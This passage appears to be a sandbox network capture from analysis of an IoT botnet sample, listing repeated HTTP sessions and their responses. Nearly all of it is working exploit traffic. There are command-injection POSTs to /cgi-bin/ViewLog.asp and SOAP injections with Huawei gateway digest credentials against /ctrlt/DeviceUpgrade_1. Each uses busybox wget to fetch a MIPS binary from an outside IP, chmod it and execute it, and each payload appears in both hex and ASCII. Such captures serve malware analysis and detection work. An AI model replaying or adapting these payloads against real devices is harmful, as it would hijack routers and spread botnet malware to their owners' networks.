                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                143192.168.2.153772094.120.245.58080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.470794916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                144192.168.2.155239294.126.12.118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.649637938 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:29.852878094 CET148INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 04:20:29 GMT
                                                Connection: Close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                145192.168.2.154539031.208.19.58080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.689814091 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:29.912251949 CET328INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:20:29 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                146192.168.2.153548894.120.160.1738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.692606926 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                147192.168.2.155534694.121.139.2038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.693974018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                148192.168.2.154571294.120.34.2118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.694317102 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                149192.168.2.1558754156.253.44.11237215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.723278046 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:31.388164997 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:33.340153933 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:37.436096907 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:45.371771097 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:00.987392902 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:33.498596907 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
